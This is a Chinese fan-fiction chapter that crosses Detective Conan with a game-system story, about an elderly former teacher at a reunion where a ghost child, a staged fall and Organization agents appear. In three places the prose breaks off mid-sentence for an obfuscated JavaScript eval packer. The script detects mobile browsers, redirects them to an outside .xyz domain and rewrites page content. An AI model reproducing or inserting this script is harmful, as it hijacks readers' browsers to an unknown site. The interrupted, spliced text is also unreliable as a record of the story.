有些人就是这样的,脸、脸记不住,除脸以外的外貌特征也不一定能记住,但听到声音的时候,就能把人与名字对上名号。 “……是你啊。” 藤次晃再次看了眼手中的圣经,视线落在第486页,那一页的经文被彩笔标注了九条,别人有没有这个习惯他不清楚,但是按照他的习惯,一张纸被彩笔涂了后,他只会注意绿色的那一句话。 “我孙子爷爷在看什么?” “圣经。” “诶?——”那孩子就这样凑过来,藤次晃却发现,他在过来之前扫视了一圈周围,“爷爷是基督教徒吗?不,应该说是松下先生,他是基督教徒吗?” “应该不是。” 老人正要将圣经合上,而那孩子扯着他的外套,要看书里的内容。江户川柯南艰难地踮着脚,确认这样看不到之后,又想要跳起来,倔强的样子像是他前妻家养的腊肠狗。 于是,他将摊开的书递给了这孩子。 「信我的人,就算死了,也必然复活。」 ……复活? 江户川柯南在看见这个关键词时,瞬间一怔,然而身边的爷爷没贸然出声打扰他的思绪。小小侦探的眼睛左看右看,也没从这页纸上看出任何端倪,他抬头,看向了旁边的藤次晃,佯装镇定地“嘿嘿”一笑,道: “我看不懂诶……我孙子爷爷可以给我讲讲吗?” “哪里看不懂?” 面对孩子,老爷爷总是很耐心,他的视线从门口移到了江户川柯南用手指着的地方,因为是英语版本的圣经,他先是用自己母语读了这一边,这才又用日语复述: “……马大对耶稣说:‘主阿,若你早在这,我的兄弟必不死。’”* 这句话并不是用彩笔标出来的,只是用水笔在下面划了二道,力度之大,甚至划破纸张。藤次晃注意到它和其他话语的不同,抬头,看向了这个男人书桌。 没有笔筒。 甚至连笔都很少,藤次晃看了许久,才在桌面发现了一支藏在资料底部的钢笔。 江户川柯南也顺着他的视线看去,因为身高这一短板,他看见的东西和藤次晃不尽相同。他看见的是书桌边角那些胡乱叠放的资料,里面有着一张材质明显不同的纸,像是照片。 “我孙子老师!——” 在这个小侦探打算伸手去拿时,门外传来了松下文都次的声音,他似乎正在上楼。一户建的楼梯不长,走上来、速度快的话,或许二三十秒都不用。 戴着眼镜的小鬼收手了。 “可以下来了,”松下道,他的脑袋出现在门口,视线向下,看见捧着自己那本圣经的江户川柯南时,只是一怔,而后又道,“我记得你是毛利带来的那孩子、啊,柯南是吧!是想要在这里看书吗?” 他没有因为孩子碰自己的东西而生气。 “稍微有一点,”江户川柯南像个做坏事被发现的小大人那样尴尬,连忙转移话题,又问道,“不过松下叔叔好厉害……全是英语的书居然都读完了!还做了标记诶,是读了很多次的吧?” “啊,那个啊……” 松下脸上的笑意一下子收敛了一些,但也只是一些,很快就好,没过多久又开口了,回应了柯南的夸奖:“其实我也没读过很多次……只是我朋友要求我去读,所以我就读了两次。先不说这个,老师,可以下去了,你想下去见见学生们吗?” 藤次晃看着门口的房主,半晌,这才点了点头,他开口了: “带我去看看吧。” “啊,好啊!” 松下带着藤次晃下了楼,在楼梯拐角处,他还特地叮嘱了藤次晃慢些、小心些。只是刚下楼,他们面前就跑过去三个孩子,另外两个是生面孔,一个是之前在客厅那里见到的、那时还在写作业的孩子。 那么,喊他小松下吧。 小松下和另外两个孩子在藤次晃面前站立好,大概被自己的父母教育过了,遇见长辈要尊敬。他们三个齐齐弯腰,喊了声“我孙子老师好”,又自我介绍了姓氏,两个陌生孩子就离开了,留下小松下站在那。 一个姓前田,另一个姓平野,年纪相差无几,都梳着妹妹头。 “两个都不叫藤四郎吧?” “哎呀,这个世界上怎么会有人给孩子取短刀的名字,”松下道,“一个叫吉,一个叫光啦……不过,那时候前田和平野两个、加上我三个约好了的,要是有人孩子最后生就叫藤四郎。” 曾经帮上学的外孙女打了三个月《刀剑●舞》的爷爷一时不知道该说些什么。可能这就是做游戏的意义吧,游戏制作者就这样在游戏里夹带私货,根本不管游戏玩家会不会骂他侵权,就只是沉浸在自己的艺术里。 “所以你以后要是有孩子要叫藤四郎?” “不,”小松下反驳了,“他们打赌的时候我已经出生了,所以我叫马克斯,你知道苹果电脑那个macOS吗?” ……然后你爸叫Windows。 这个世界的取名好像有点太随便了。 这也是一种谐音的艺术吗,游戏制作者,你的谐音梗很好,但你还是停笔吧。 “往这边走,我孙子老师,”松下Windows、不是,松下文都次这样说,他抬起脚、迈开腿,就这样穿过了自己儿子的身体……等等,穿了过去?“大家都在客厅那坐着呢……怎么了?” “……什么事都没有。” 藤次晃只得道。这是游戏,这是游戏,这是游戏,重要的事情说三遍,游戏里面有鬼魂也是很正常的事,不需要在意,不需要害怕,不需要理会…… 不对。 这不是推理游戏吗? 【RZA10088:是的,人,我们这是一款集玄幻推理、乙女攻略以及高智商权谋为一体的超高真实度游戏哦。】 再怎么玄幻推理也不可能出现鬼吧……等等,玄幻? 【RZA10088:对的,人,不要怀疑,就是玄幻推理。】 【藤次晃:别告诉我你们所谓的攻略对象里也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693118|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有鬼。】 【RZA10088:对吗对的。】 【RZA10088:请容许我跟你介绍一遍:现在你正在体验的游戏《红黑的恋爱游戏~少女王座登基指南》是目前市面上乃至世界上唯一一款高自由度探索、沉浸式推理、高智商烧脑程度权谋与非常规沉浸式战斗为一体的全息乙女游戏,在这里,你可以与各种类型的男性女性、跨性别人士与非人类生物发展一段或甜蜜或遗憾的恋情,也可以在这里体会到……】 【藤次晃:停一下。】 【藤次晃:就算非人类生物也在你们的选项里,可你们的攻略对象怎么着也得算是个生物吧?】 【RZA10088:听不懂您在说什么,人。】 【RZA10088:但是隔壁《苏□的□□》连白犀牛都可以纵欲,我们也可以攻略大公鸡,那么攻略幽灵也是正常操作啦。】 【RZA10088:而且你们的那个Xb不是有说吗,有些人就是和鸭子一样,有恋□癖的。】 □什么? 人民碎片的尸吗? 这个世界对他来说果然还是太恶俗了,六十二岁的老年人藤次晃终于还是失去了所有的力气和手段。你知道当他看到这句话的时候,是什么样的感受吗,这种感受就像是外面的天空在下奶牛猫和比格雨,他艰难地走在伦敦的路上,迎面冲来一个teenager把他的伞撕碎了。 这场闹剧停止吧。 老年人内心的苦涩无法同任何人倾诉,他只能在心里默默地叹了口气,随后跟在松下的身后进客厅去,四个青年人、两个青少年围着桌子,正在喝茶。 在看见藤次晃进来时,毛利小五郎瞬间瞪大了眼,他嘴里的茶差点喷出来。 “——咳咳!” 这个小胡子男的拍着自己的胸膛顺气,旁边的他女儿一边抱怨着一边给他递上纸巾:“喝茶就不要喝的太快了吧,爸爸!” “不是啦,小兰……” 毛利小五郎又看了藤次晃一眼。 “哎呀,毛利,”松下笑了起来,“见到我孙子老师难道就这么让你高兴吗——这倒也是,你能顺利地考上米花大学还不是多亏了英里和我孙子老师的帮忙……” “这种陈年旧事倒也不值得拿出来说吧,”毛利小五郎皱起眉来,他似乎不想提那时候的事,“快点入座来,我们喝点酒吧。” “爸爸是在妈妈和我孙子爷爷的帮助下才考上大学的吗?” 毛利兰一听见这话就很来劲,她一直都很想知道更多关于父母爱情的事,因此,凑过来,问着周围的大人们:“可以给我讲讲这件事吗?” “大人之间的事,小孩子就不要问了。” “哎呀,这种事有什么不好说的!” 大平野摇了摇茶杯里的茶,就这么讲了起来:“就是当年帝丹中学选美的事吧,我猜毛利应该会告诉你或者英里,说他完全是因为搞不懂‘miss’这个单词的含义,所以把票投给英里了吧……” “然而事实的真相是——”前田高举茶杯,躲过了毛利小五郎的袭击,“他当时指着上面的英语问了周围的人一圈,然后又去问了我孙子老师,口是心非地就把票投给了英里……啊,好像忘投了。” 空气中一时半会儿充满了快活的气息。 9.六十二岁、好透明 他们谈论高中的事时,坐在上位的藤次晃只是安静地给自己倒茶。面对着一群他压根儿不记得教过的学生,前人民教师不带一点紧张地在他们询问自己的时候给出回答。 世界上相似的人太多了。 性格相似的,能做出相同行为的学生也太多了。 因此,就算是偶尔被问到班上学生的事,他也能就这么答上来,答对了,过去学生们的黑历史便让现在的青年人们大笑起来;答错了,他还有年龄为他保底,老年人嘛,记不清事情很正常。 没人会为难一个老年人。 要是真有人较真,藤次晃还有一招,那就是耳背。这么多年他其他什么方面毫无长进,唯独在装傻充愣这方面有所深造。 气氛到了这儿,想来也该介绍一下了,在座几位青年人的身份。 大平野,全名平野昴环贺,他现在干的是外贸业务员,勉强算是半个生意人,他和他妻子、以及襁褓中的女儿坐一起,偶尔聊着聊着,话题总会扯到自己女儿身上,似乎是个所谓的女儿奴。 但全程抱也没抱他女儿一下,由此判定,他瞎吹的。 而大前田,全名前田天河岸,是个儿科医生,他有些沉默寡言,只有别人主动将话抛过来时,才会接话。他的无名指上没有戒指的痕迹,不知道是离婚已久还是医院要求,不知为何,他和松下文都次之间的氛围有些微妙,通常是松下文都次问他三遍,他才勉强回答一遍。 “毛利也算是我们这边孩子年纪最大的吧,”平野说到这件事上,“这么多年、没有想过和英里再努努力,给小兰一个弟弟妹妹吗?” “我有她一个已经够了。” 毛利小五郎如此说,他连思考的时间都没给自己,脱口而出就是:“不会再有什么第二个孩子之类的东西,小兰就是我唯一的孩子,我的心只够操心她和那个笨蛋两个……哪里有什么多余的关注能分给别人!” “那戴眼镜的那个孩子呢,”松下问,“我记得他是叫柯南来着,他不是你儿子?” “寄养在我家的啦,要不是看在抚养费的面子上……” 毛利说完这句,视线忽然落到了藤次晃身上,他从藤次晃入座时到现在,一直都很少与这个高中时期的老师对话。更准确来说一点,他似乎对“我孙子慈”这个教导过在场学生的老师毫无印象可言。 不过这种事,在成年人的世界也正常,这就像你上大学时,别人问你还记得幼儿园老师的名字吗? 你大概率记不得。 你甚至记不得老师的脸,你对幼儿园的记忆只有大家排队上厕所和隔壁小朋友尿床尿裤子被老师带走换衣服。 人类的记忆就是这么浪费在这种无聊又奇怪的东西上的,只会记住前门后门出来的东西。 至于是哪个前门后门你先别管。 因此,他很快就把“自己真的被这老头教过吗”这一疑惑抛下了,投入到同学聚餐的氛围中去。藤次晃是他高中老师这件事究竟是真是假,无人在意,就连藤次晃本人都不会闲着没事去深究。 “……到该吃晚饭的时候了,”和大家聊了许多的松下显得意犹未尽,“啊,对了,大家的忌口还是和以前一样对吧,没有什么变化吧——孩子们呢,孩子们有什么过敏或者不能吃的东西吗?” 这个问题倒是吸引了前田的注意,这么长时间以来,他终于是主动些了: “有花生吗?” “有,”松下应了,“平野不是喜欢吃吗,有两道菜是含花生的。” “我有点花生过敏,到时候稍微放得离我远一些。” “你之前也没有花生过敏的情况啊?” 虽然疑惑,但松下还是点了点头,就算前田没有给他回答也没有生气,他是个体贴的东道主。果不其然,在上菜时,他特地把几盘菜调换了位置。 楼上的江户川柯南、以及周围玩耍的孩子们都被带来了。藤次晃的余光瞥见一只手伸向桌面的点心,还以为是那三个孩子里的谁已经饿了,要吃点先垫垫肚子。 只是,等他抬头,才发现那三个活着的孩子都跟他们监护人坐在一起,而他旁边除了夹在他与毛利小五郎之间的小兰,没有孩子。 那么这只手的主人就此明了,是这家死掉了的孩子。 “……海蜇这种东西,不要喂给孩子。” 吃到一半,前田忽然地提醒了平野,他手里还在给他妹妹头的儿子剥虾,却分神关注到了旁边的事:“你女儿才几个月大,肠胃没发育完全,甚至都没到吃辅食的年纪,最好别给她吃。” “哎呀,”平野摆了摆手,“只是一点点,一点点没事的。” “就算是一点点也不行。” 说出这话的既不是前田这个医生,也不是平野太太这个母亲,而是站在藤次晃身边的小松下,他抓了很多次点心,然而一口都吃不到,可怜巴巴地站着。 “听医生的吧。” 于是藤次晃开口了,他养过孩子,也遇见过类似的情况:“小孩子身体抵抗力弱,生食这种东西最好还是别碰了……怎么了,你身体不舒服吗?” 后面半句话是对着平野的太太问的。 最尊敬的老师都发话了,平野只得打消自己女儿喂海蜇的念头,他将夹起的一筷子海蜇皮放进了一边儿子的碗里,而儿子皱着脸,俨然一副不领情的样子。 “可能有一些荨麻疹,”平野太太用指甲挠着自己的手臂,上面一片已经红了,“很快就好的,不必太在意我。” “看起来像是过敏。” 前田说。 “怎么可能过敏呢,”平野就这样否认了,他不甚在意妻子的状况,“她在家也经常这样,不用太在意,正如她说的,很快就会好的,吃菜——你怎么不吃?” 他儿子在他警告的眼神下,只得不情不愿地将海蜇皮吃下去。 空气在这件事之后,似乎冷了起来,只是,饭还没有吃完,平野太太的皮肤瘙痒症状似乎变得更加严重了,她不得不抱着自己的女儿暂时餐桌,前去有水源的地方清洗一下皮肤。 “……我吃完了。” 前田放下了筷子,他的儿子在他旁边,看着爸爸停下,也犹豫着自己要不要停下。松下注意到这点,特地给他夹了一筷子菜,示意他继续吃就好,不必在意他父亲。 毛利小五郎这时候倒是开口了,他喝了酒,已经略有醉态: “这海蜇真是鲜味十足啊!” “毕竟是今天一大早就出门购买的,”松下太太道,“桌上所有的海鲜可都是花了大价钱的,如果不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704025|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜美的话,那岂不是会丢了面子嘛,啊,说起来,已经快吃完了,餐后水果可以上了吧。” 不多时,桌上便多了几盘水果,里面更多的还是这个季节少见、并且昂贵的西瓜被切成了小块,还带着冰霜。 “……我就不吃了。” 总是在破坏气氛的前田如是道,他深深地看了那边的平野一眼,这才对自己吃完饭的儿子道:“你去我们车上,把东西拿一下……你知道给谁的。” 他们父子间说话声音很低,谁也没有听清他要自己儿子拿的东西是什么,只有一边的江户川柯南露出了思考的表情。 “我们继续聊天吧?” 松下提议道,他不知道从哪里翻出了扑克牌来:“或者玩一玩,大家很久没聚在一起玩过了吧。” “也是,”平野兴致冲冲,他捋了捋袖子,只是在捋袖子的过程中,也挠了挠自己的胳膊,好像被蚊子叮了一大片,然而这个季节压根没有蚊子,“我可不会让着你的。” “我没兴趣去打。” 前田医生如是说,“我之后还有事,可能会比计划提早些离开。哦,对了,之前我和你借过一次的那本书,还在吗,我之后可能还需要再借一下……” “《圣经》是吧,在的、在的。” 他们的交谈都与藤次晃无关,这个老年人缓慢地在室内走,观察着这栋房子里的装修与摆设,只是在他刚走到厨房门口时,被那个年轻的鬼魂孩子叫住了: “停一下,好吗?” 藤次晃停了下来。 “能帮我一个忙吗,”那孩子问道,“我不想……算了,其实你不帮也可以的,这应该算是某个人自食其果。好吧,但是我还是想请你帮忙,不然的话,这个家里就要多出一个死人了,我不想总是看见那个人。” 外国人长相的老年人没有回答,他只是转过身来,像是要和这个小小幽灵面对面。 而就在他转过身时,看见了出现在拐角处的那个戴眼镜的孩子。江户川柯南也在看见藤次晃的身影时,眼睛亮了起来,他很有礼貌地打了招呼,喊道: “我孙子爷爷!” “嗯,孩子,”藤次晃也充满着耐心应答,“你不去找那俩个孩子玩吗?” 江户川柯南尴尬地挠了挠头,皮下的工藤新一自然没法说这是因为他一个高中生和两个小孩玩很掉价,于是,就只得打个马虎眼:“啊哈哈……我不是很想玩啦……” 不过虽然是柯南主动过来攀谈,但最终,藤次晃和他也没谈上几句,就散了。 那个小小的幽灵在他们说话时不知道跑到了哪去,老爷爷便也不去在意那个没说完的请求。藤次晃再往前走了几步,便从厨房门口,来到了楼梯口。 他抬头,看着楼梯拐角处的柜子。 好半晌过去,楼上传来马桶的抽水声时,这个看起来快得老年痴呆的家伙才反应回来。而此时,恰逢松下的太太从他身边经过,藤次晃忽地问了: “有报纸吗?” “报纸?”松下太太诧异了片刻,而后恍然大悟,她以为藤次晃时无聊了,要看点报纸打发时间,“稍等我一下,我去给您拿,您是要去楼上吗?” “……算是吧?” “那上楼请小心一点,不要摔倒。” 10.六十二岁、被试探 意外早不来晚不来,偏偏在藤次晃打算回家的时候,发生了。 平野昴环贺不知道怎么回事,酒喝多了或者是蹲卫生间蹲久了,腿麻,下楼时崴了脚,整个人往前倒去,从楼梯上摔下来,脑袋撞在了柜子边角,昏死了过去。 大前田还没走,他鲤鱼打挺一跃而起,急忙对着昏过去的平野一通检查,毛利兰打了急救电话,只是不知怎的,差点打成了报警电话。 过去他们遭遇的案件太多,这不过是条件反射。 “我先走了,”藤次晃看着里面的混乱,就只是平静地这么说,这个老年人甚至没多看那边一眼,就只是从门口的雨伞桶中抽出自己的那把黑伞,“家里人还在等着我……你们都忙你们的去吧,不用送我。” 这个你们,指的是松下文都次和站在他旁边的松下马克斯。 “那怎么行呢,老师,我开车送你吧。” “不用,”藤次晃拒绝了,他下了玄关的台阶,却还是比一米六五的松下高了些,和其他的老人相比,他的背挺得很直,或许是因为这样,身高缩水的程度也比较小,“你去忙吧,松下。” 松下叹了口气。 “老师……” “啊,对了。” 老年人用雨伞敲了敲地面,忽而又道:“那些书、我是说你书房的那些基督教的书,如果不想被什么人找上门来的话,最好还是把它们都送出去比较好。” “什么?” 并不觉得那些书有什么特别的男人不解,他挠了挠脑袋,看着藤次晃离去,只觉得是自己老师年纪大了,变得有些神神叨叨。也正是在这种时候,他的衣服被人拉了一下。 低头,便看见了站在身后的江户川柯南。 “呐呐,”因为松下是俯视,而江户川柯南又是抬头,因此,在他眼里,这孩子就像大眼鱼,“叔叔,我孙子爷爷为什么要那么说啊?” “不知道诶。” “那、那……叔叔你要把书借出去吗?” “怎么了,”松下愈发摸不着头脑,话问出口了,才理解了这孩子的言外之意,“啊,你也是想借书是吗?” “对的对的!在书房的时候,我孙子爷爷给我讲了一点,我感觉它们很好看,叔叔可以把书借给我一段时间吗,我会很快就还回来的——两天就够了!” 青年人先是点头,后来像是想起什么了,摇了摇头:“可能要吃一点,柯南君,因为在你之前已经有人说要借走了。” 江户川柯南就这样发出了失望的“诶——”声。 “是谁借走的?” “前田,也不知道他到底有什么事,明明之前已经借过一次了,今天还跟我说要借……总不可能这是什么藏宝图或者重要的解密道具吧,虽然是游戏工程师给的,但不管怎么说,现实又不是游戏。” 他随口说的话让江户川柯南抓住了重点。 救护车的鸣笛在藤次晃走后没多久就过来,昏迷的平野就这样被抬走,拉去医院就诊。这整件事实在是太像一起意外,就算是受害者本人,醒来以后,也只是觉得这是因为自己因为脱水虚弱而脚滑,摔下的楼梯。 “……真遗憾啊。” 在病房门外,松下太太喃喃道。 松下则站在妻子的身边,拍了拍她的肩膀,像是在安抚她,他也低声说话:“没事的……毕竟总是会有这种事发生的,意外就是这样。” 就算是侦探,在这样一桩几近完美的案件中,也找不到更多线索。江户川柯南旁敲侧推,无论如何也找不到证明松下夫妇蓄意报复平野的证据,而且,平野他自己也一口咬死了这是意外。 就算报警,也没有任何用处。 他心里的怀疑只得暂且搁置,跟着毛利父女回了家。 ………… 而在另一边,沿着路、用雨伞当拐杖,打算走回去的藤次晃在二十四小时营业的便利店外停下脚。 他有点不认识路了。 对一个老年人来说,这种事很正常,老年痴呆的前兆嘛,每个老年人或早或晚都会出现的。只不过他现在还没到那个程度,不认识路,纯粹是因为这附近的地图变了,他之前住的地方又不叫米花町。 在这里停一下吧,反正也不急着回去。 藤次晃抬头看了看不远处的路灯杆子,灯闪烁着,像是再过不久就会熄灭,底下有三两青年站着或坐着吸烟或者聊天。正如所有旅客知道的那样,日本街头没有垃圾桶,他们烟头的归宿最终是地缝。 有人对上了藤次晃的目光,又很快移开。 ……方才,他离开松下家时说的话,确实是个建议。 这就是一种直觉——或者说是生活经验更为准确。前几十年刚搬来日本时,这边传销的人还没那么多,然而现在,他们就像是广东特色双马尾,一点风吹草动就冒出来,赶又赶不走,杀、不能杀啊,这是人命,要进去坐牢的。 也不知道是不是玄学特质加成,反正对藤次晃来说,只要他家里有宗教相关的书,隔三差五就会有传销人员到他家敲门。 之前外孙女和孙女天天在家外放《好●头》,还买了书珍藏的时候,他这个老头子每天都在外面被人拉住,那人挤眉弄眼,语气神神秘秘,一只手扒住他另一只手就往自己裆部、啊不对,包里掏去。 不知道还以为大街上有一个老头要偷偷摸摸地和一个贼眉鼠眼的人做未成年止步的交易事项呢。 说的是卖花花公子杂志。 不是什么impart。 外国长相的老年人很想为自己人生所遭遇过的那么多事叹气,但最终,没有,他就只是面色平静地推开便利店的门进去,什么也不想地在货架上挑挑拣拣。 饭刚吃完,那么打折便当就不必看了;饮料,最近血糖有点高,要控制饮食,也别喝了;冰箱里面的吐司片还有没有?不知道,不记得,那就不买;牛油果,两个,走你;速食食品,嗯,速食食品可以买,老年人年纪大了,就喜欢吃点方便又好吃的。 “我建议您不要吃太多速食食品,”理货的店员如此道,她戴着口罩,“毕竟这对老年人的身体不是很好。” “没事。” 藤次晃也是个爱讲地狱笑话的老头:“没准我再活几年就死了,还是趁现在想吃就吃吧。” 店员一时有被他的幽默无语到。 虽然道理是这么个道理,话也是这么说没错,但藤次晃还是挺惜命的。他每年至少检查两次身体,维生素和各种中老年补剂也没怎么停,之前检查医生还说他身体比二十多岁的大学生要好。 那位戴着眼镜的大学生左手右腿都打着石膏,就这么在床上虚弱地笑,然后为自己辩解: “我是研究生。” 没人在意他是不是研究生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721340|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻时也是个doctor的藤次晃又从冰柜里掏出三杯冰激凌,其中一杯粉得有点像草莓,另外两杯绿得像爱情黑得像狗吃了会死的巧克力。店员结账时,多嘴问了一句: “是给家里人买的吗?” “是……”藤次晃刚给出肯定回答,就想起现在家里没人,于是斩钉截铁地否认了之前的答案,“不是,我自己吃。” “……好的。” 店员的眼神看起来像是在说“你也不怕得糖尿病”。 “再帮我拿包烟吧,”藤次晃道,其实他不抽烟,不过这个世界有个潜规则就是和男人聊天先递一支烟过去,在去松下家之前,他把烟盒里的最后一根烟给了出去,“卖得多的就行……啊,这款也可以。” 店员帮他扫码,藤次晃从外套口袋中摸出了钱包结账。 门外的青年基本都散去了,只留下个高大的男人蹲在那儿,背影就像新闻报道过的某只逃出动物园的忧郁棕熊。老爷爷拎起了不算沉重的袋子,在出门前问了店员一嘴: “米花町的一番目怎么走?” “出门直走五百米,看见一个坏掉的路灯后左转,”店员看起来有些不耐,她棕色的卷发在灯光的照耀下有些黯淡,像是烫完了发没护理好,藤次晃在她的发际线上扫过一眼,没看到假发的纱网痕,“直走二百米,转弯,就是一番目。” “我知道了。” 藤次晃点了点头,他从门口出去,却发现自己放在门口架子上的伞消失不见,于是,可怜的老爷爷就这样陷入了沉思。 就连没下雨也要偷吗? ………… “我不知道你还有当便利店店员的喜好。” 在藤次晃走后,安室透、或者说波本,他从便利店的后门走了进来,手里拎着的是装有《圣经》与几本福音书的袋子。如果江户川柯南在这里,就会发现安室透身上穿着的衣服、与前去松下家做客的前田天海岸全然相同。 “我也不知道,你还有演戏的天赋,”便利店店员摘下了口罩,往后边一靠,她从柜台里摸出了烟与新打火机,点燃一根,吸了半口,呼出,这才问,“只有这些?” “是的,板仓卓寄给松下文都次的书只有这些。” 安室透看了看店门口,此时,藤次晃已经走远,那个白金色头发的老人家目前已经是第二次出现在他面前了,说没有怀疑,那必然是假话,更何况——“那个老人家,有什么值得你关注的地方吗?” “你怎么会这么想?” 贝尔摩德叼着烟,露出一副饶有兴趣的模样。她用空闲的手把玩着自己的假发,再次吞云吐雾一番后,笑盈盈地,像是在开玩笑,这个千变万化的女人道: “其实比起这个没用的家伙,我还是更在意、那个出现在现场的侦探。” “毛利小五郎?” “嗯哼,”贝尔摩德不否认,也没有肯定,“你猜猜,他多久才会把蓄意谋杀的那对夫妻抓出来?” “这我可不好说。” 安室透笑不达眼底:“毕竟我才刚拜他为师,还没来得及清楚那家伙的实力……我想,大概一个星期吧?” 如果安室透能看见的鬼魂,想来,就会发现,外面路灯杆子边上蹲坐着的男人已经站起身,用手摩挲着下巴,啧啧称奇地透过便利店的玻璃、注视着他与女人谈笑的模样。 可惜,他看不到。 11.六十二岁、当莫里亚蒂 家里的现金就这么变多了。 藤次晃一时之间也不知道该再去一次银行,还是就这么放着。他看着它们,无助地摸了摸自己的发际线。最终,他的决定是抽出几张纸币,往钱包里一放,剩下的装进过年没发完的红包里,之后有时间再去银行存起来。 今天的日期是周四。 ……真是奇怪的游戏世界,明明前天还是周三,昨天却是周天,而今天又回到了周四。 他将自己的牛油果干巴吐司和一份沙拉放到桌上,手在旁边一摸,便抓住了报纸的边际,将它拉到自己面前来。藤次晃略微扫过一眼,发现第一版面放的是没有什么用的时政新闻,旁边放着几桩尸体的招领启事——佐藤、前田以及小松,河里捞的、地里挖的,还有天上掉的,海陆空集齐了。 老人的视线在前田这个姓氏上停了停。 【死者姓名:前田天海岸。 男,三十八岁,经法医检验,因酒后驾驶误闯河道,与其子同乘一车,生前无不良嗜好,溺亡。】 【死者姓名:前田吉。 男,十一岁,经法医检验,系溺亡。】 ……这个世界还有恐怖故事的存在吗? 藤次晃老手一抖,幸好叉子叉起来的生菜没被抖掉。他定了定心神,扶了扶鼻架上的老花眼镜,又看起来其他的新闻,比如说毛利藤四郎破案……看错了、不好意思,是毛利小五郎。 总之,大体上,就是一份很普通的报纸。 想要把恐怖故事扔出脑子,但是越想越觉得脊背发凉的藤次晃停下进食的动作,连连喊了“阿门”“all money back my home”以及“啊米诺斯”,给自己叠加了几个buff后,这才继续吃。 合上报纸。 然后扔进了垃圾袋里。 对许多灵异事件与恐怖故事总是退避三舍的藤次晃呼出口长气,他英国人,看不得这种细思极恐的东西,就算真的要看,那也是陪孩子们看哈利·●特大战You Know Who。 【RZA10088:你好,人。】 ——退。 【RZA10088:是这样的,上次给您带来的消息并不准确,今天,我们的领导层再次下达了相关指令,并托我转述给您。】 ——别来,退。 【RZA10088:介于您的真实情况与主线所要求年纪、身体素质相差巨大,响应社会关爱老年人的号召,防止您的身心出现任何差错,我司将给你以下福利:[空白身份卡]*6、[免死金牌]*3、[性别转换buff]*1、[身娇体弱buff]*1,以及新手大礼包一份(其中包含随机[福尔摩斯角色滤镜]*1)。】 【RZA10088:请问您现在要打开新手大礼包吗?】 ——退、啊不对。 戴着老花眼镜的藤次晃看着这凑在一起的字,还是没忍住,如鬼迷日眼的臭猫一般眯起了眼。请问这个世界能不能调成老年人关怀模式,他这个老爷爷实在是无法理解孩子们把字调成米粒大小这一操作的意义,难道是物理意义的防窥屏吗? 【RZA10088:你要打开大礼包吗,人?】 盲抽吗。 欧亚混血的时髦老头陷入了思考。 他之前有帮孙子孙女们抽过这种东西,大概也清楚这玩意分什么等级,至于所谓的[福尔摩斯角色滤镜]——呃,不清楚,但大概就是让他看起来有点那种人物感觉的东西吧。 那么,抽吗? 抽。 那可是福尔摩斯,英国来的没人会不喜欢福尔摩斯好吗?福尔摩斯系列书在英国人心里的地位简直超乎想象,大家可以不知道柯南·道尔这个创作者,但绝对不能不喜欢福尔摩斯——除非对方不是英国人。 【藤次晃:打开。】 【RZA10088:好诶好诶!】 于是刚刚的聊天框上赫然出现一个方方正正的盒子,盒子正面长着俩灯泡一样的眼睛,晃荡晃荡,像是有人在背后摇它。盒子怪物的眼睛眯起来,表情像是要吐了一样的难受……不,就是要吐了。 好半晌,这盒子妖怪吐出个绿色的球来。 球落地的那一瞬间自动打开,纸条飘飘荡荡上天,在他眼前立定,上面用着藤次晃八百年没见过的贵族花体英语写着: 「詹姆斯. 莫里亚蒂。」 ……詹姆斯什么? 【RZA10088:詹姆斯·莫里亚蒂。】 ……莫什么蒂? 【RZA10088:莫里亚蒂。】 这辈子没想过自己能和这种高深莫测角色扯上关系的藤次晃如那惊讶丑猫般倒吸一口凉皮、啊不是,倒吸一口凉气。 这不是说莫里亚蒂教授不好的意思。 只是、你知道,他是个把知识还给老师的文盲老年人,因此,成为莫里亚蒂的前提是超高的智商,他没有;莫里亚蒂那个报复社会的心理状态和能力,他也没有;莫里亚蒂那个和福尔摩斯打架的体术,他更是没有了,去年他在家里摔一跤直接把尾骨摔折,住医院住了俩月。 别为难一个老年人家了。 ………… “下午好,”安室透道,他今天下午值班,因为是工作日,也没到三点,所以咖啡厅中的人并不多,“今天还是小梓小姐同我一起值班吗?” “因为安室先生总会早退啊——” 榎本梓道,她不想上班啊,咖啡店兼职生的工资再怎么样也不会太高,就在东京平均时薪内,店长每次又把她和自带流量体质的安室透安排在一起,直接让工作量翻倍了。 这个年轻的女服务生在柜台这边单手撑着脸,尔后叹气。 “唉——” “怎么了?” “在想我孙子爷爷戒指的事,”榎本梓从柜台的抽屉中拿出了那枚戒指,上面古朴的花纹和宝石简直就在诉说它那不知道多少个0的定价,“这么贵重的东西,放在我们店里真的好吗?” 